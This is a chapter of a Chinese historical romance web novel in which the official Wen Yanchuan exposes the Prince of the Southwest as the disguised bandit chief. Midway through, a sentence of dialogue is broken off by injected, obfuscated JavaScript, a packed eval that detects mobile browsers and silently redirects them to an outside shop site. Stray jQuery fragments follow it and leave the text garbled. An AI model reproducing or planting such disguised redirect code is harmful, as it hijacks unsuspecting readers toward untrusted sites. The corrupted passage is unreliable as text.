温言川混迹官场,自认为识人无数,却从没遇到过这种人。上赶着找骂。奈何他读的是圣贤书,搜肠刮肚也想不出什么难听的话。半天憋出一句:
“你不知廉耻!”
对方轻笑了声。
反应过来的温言川:“……”
自己为什么要如他的意。
面具后的人仔细欣赏着温言川生气的表情,伸出手臂将人捞过来,平稳落到地上。
温言川连忙拉开距离,伸手正要去捡地上的拐杖,一只手先一步捡起来。拿着不给他。
“……”温言川:“这是我的拐杖。”
“我做的就是我的。”
温言川愣了下,他以为是柳大夫给他做的,毫不犹豫:“还你了。”
话音刚落,红色身影挡在身前,将拐杖塞到他手里,粗哑的声音透着沉稳:“这世上与死无关的事,都称不上大事。”
温言川抬眸看了他一眼。长身玉立,红衣翻飞,獠牙面具在月色下泛着寒光。
他竟从这人身上读出了洒脱。
温言川没说话,撑着拐越过他,慢慢进了屋。简单洗漱一番后便歇下了。
翌日,温言川刚洗完脸,柳大夫便挎着药箱过来了:“我今早采了蘑菇,给厨房送去了。新采的蘑菇格外鲜美,做蘑菇面最合适不过。”
“柳大夫不必如此麻烦。”温言川忙道。
“不麻烦,我是去采药,遇到了便采了些回来。”
温言川弯起唇角:“谢谢柳大夫。我一定多吃些。”
柳大夫换完药便离开了。温言川坐在桌前,专心惦记他的蘑菇面。
“这是等我呢?”随着粗砺的声音,一道红色身影走了进来,手上端的蘑菇面正冒着热气。
温言川:“……”
余光瞄着他将面放到桌上,而后施施然坐下。温言川:“………”
“不吃我吃了。”
装木头人的温言川迅速拿起筷子。
面具后的人勾起唇角。
蘑菇切成薄片,撒上些葱花。汤里没放什么味道过重的调料,入口满是蘑菇的鲜美。
温言川吃相很斯文。修长好看的手握着筷子,挑着面送入口中,细嚼慢咽。时不时用勺子喝口汤。除了碗筷碰撞声,没发出别的动静。
简直可以用赏心悦目来形容。
吃完了,温言川一脸满足放下筷子,看向对面坐着的人:“我吃完了。”
赶人赶的如此明显,偏偏某人毫无所觉,屁股都不带挪一下的:“温大人来西南做什么?”
一声“温大人”叫的温言川戒心四起,想也不想:“散心。”
“散心西南可不是个好去处。山匪横行,藩王割据,可怕的很。”某山匪头子一本正经道。
温言川:“……”
他看出来了,这人不是套话,是没话找话。故意赖在这里不走。
“寨主平日都不用处理寨内事物吗?”
“陈莽处理。”怕温言川不知道陈莽是谁,对方还贴心解释了,“就是脸上有疤、绑你回来的人。我准备将寨主之位也让给他。温大人觉得如何?”
温言川:“……?”
这和他有什么关系。
“我不是寨内之人,寨主不必同我说这些。”
“原来温大人是想成为寨内之人。这简单……”
不想听他的满嘴胡话,温言川“咻”一下站起来,躺板板一样躺在床上,眼睛“刷”地闭上。
然后就听到一声毫不掩饰的笑:“我走了,不打扰温大人睡觉。”
-
养了半个月,脚腕红肿已经消下去了。温言川心里长草,总想着下山。
柳大夫眼见劝不住,去找了寨主:“温公子总惦记着下山,他那脚还没好利索,走不了山路。要不寨主去劝劝温公子。”
“此事不用你操心。下去吧。”
该说的都说了,柳大夫转身离开。
温言川正思考独自下山的可能性,陈莽走进来,开门见山:“我送大人下山。”
温言川看着他,将信将疑。
“绑大人上来是一场误会。”陈莽抱拳道,“我给大人赔个不是,还望大人见谅。 ”
能如此痛快道歉,想来是个豪爽之人。温言川也没扭捏:“如何送我下山?”
陈莽:“抬。”
片刻后,温言川看着屋外的喜轿,气得捏紧拳头:“这是何意?”
他一个男人坐喜轿,成何体统!
陈莽轻咳一声:“大人莫动气。昨日寨里有成亲的,正好拿来用。”
能想出此等馊主意的人一定不是陈莽。温言川笃定道:“是你们寨主的主意。”
陈莽刚要开口,一道粗砺的声音插进来:“我说怎么耳朵出火,原来是温大人在念叨我。”
温言川:“……”
绯红身影走到喜轿旁,两相一对比,他才更适合坐喜轿:“温大人归心似箭,我虽万般不舍,却也不忍强留。当然,若是温大人舍不得我,想继续留……”
话没说完,温言川已经掀开轿帘,毫不犹豫坐进去。
一侧的窗帘被掀开,声音带笑:“温大人,后会有期。”
温言川瞪了对方一眼,伸手抢过帘子,就差把“再也不见”写在脸上。
下一瞬,一声轻笑透过轿帘传进来,显得不那么真切。
喜轿顺着寨门出去,很快便消失在郁郁山林中。
温言川坐在轿里,不忍如此剥削人:“停下歇歇吧。”
前头扛轿子的人道:“大人不必介怀,我们是专门扛东西的。寨里平日用的米面油盐都是我们扛上去的。温大人也就顶两袋米沉。”
温言川闻言心安了不少:“有劳了。”
花了两个时辰,中间歇了几次,轿子终于到了山底。
温言川从轿里出来,只见一人骑在高头大马上,身着黑色劲装,墨发高束。高挺的鼻梁显得一双眼睛格外深邃。
身后跟着上百名士兵,西南军的军旗随风而动。
此人正是西南王萧彻。
门神像可驱凶辟邪,保卫家宅。几乎家家门上都贴,逢年过节还要换新的。除了神荼、郁垒、钟馗这些常见的,还有不少百姓将西南王贴在了门上。
门神像上的西南王面黑如碳、体壮如牛。长长的络腮胡,画着两个红脸蛋。
温言川不曾见过西南王,只以为画像七分杜撰、三分写实。没想到竟全是杜撰。
眼前之人面如冠玉,鬓若刀裁。和画像差了十万八千里。
“温大人可好?”萧彻并未下马
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175685|150550||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,低沉的声音里听不出几分关心。
温言川不肯示弱,一字一句:“劳西南王挂念,一、切、都、好。”
陈莽对温言川道:“我们就送大人到这里。”
温言川颔首:“多谢各位。”
送温言川下山的人抬着轿子原路返回,很快便没了踪影。
温言川抬头,语气不算和善:“我的贴身护卫呢?”
“这么凶做什么。”萧彻慢条斯理,“温大人随我去府上看看不就知道了。”
温言川看着不远处的黑色辎车,抬脚走过去。屁股刚挨到座位上,车帘便被人掀开,一道黑色身影挤进来:“骑马累了,温大人不介意吧?”
“请便。”
这车从外面看气派非常,内里也十分宽敞。可卧可坐。马车主人一看就是会享受之人。
温言川和萧彻相对而坐,无需刻意收着腿,中间还有一臂长的距离。
为了不与萧彻互相大眼瞪小眼,温言川上了车便开始闭目养神。一副“别和我说话”的架势。
车帘被风吹得时起时落,天光见缝插进晃进来,落在温言川白皙的脸上,眼睫投下的阴影时隐时现。
他想清静,偏偏某人不肯如他所愿:“早就听闻温大人才貌冠绝公子榜,如今一见,当真名不虚传。”
温言川眼皮都不带动一下的,声音清润:“过誉了。西南王也不遑多让。”
“这么说温大人已经仔细看过我了?”
温言川发挥耳聋大法,装听不着。
然而即便温言川真是个聋子,也不耽误萧彻说话:“温大人怎么不理人?可是我平庸之姿入不了温大人的眼?”
何况他还不是。
“一人分饰两角,除了有不同的身份,性情行为也要有所不同。这样才能不被识破。”温言川睁开眼睛,淡淡道,“你说是吧,寨主。”
车里静了一瞬。
萧彻挑了挑眉:“何时知道的?”
“第一眼。”
虽然温言川不知道他是如何改变声音的,但身量和感觉错不了。
何况这人压根就没想藏着。在他亮明身份后,明知他必会和西南王见面,仍旧顶着卧云寨寨主的身份整日在他跟前晃悠。丝毫不知收敛。
若他再认不出,便是傻子了。
“温大人不仅才貌双全,洞察之力也让人惊叹。”萧彻丝毫没有被戳破的窘迫,反倒一副很开心的样子。
温言川不动声色打量面前的人。
兔死狗烹。兔子一旦知道狗不敢吃它,便会有恃无恐、处处掣肘,反倒成了麻烦。
最好的办法就是既做兔子又做狗。
卧云寨是五年前出现的。五年前,萧彻不过十五岁。能有如此谋略和手段,确实可堪大用。
然而萧彻并非温顺忠诚的看家狗,而是只未经驯服的恶犬。指不定哪天就会朝你的脖子来上一口。
萧彻盯着温言川微微出神的脸:“温大人在想什么?”
“在想如何驯服一只恶犬。”
“这简单。”萧彻一副很有经验的样子,慢悠悠说,“拔了犬牙,拴上链子,如此就老实了。”
“那样就不是恶犬了。”
温言川端坐在那里,目无波澜,语气平静:“要让他甘心收起獠牙。”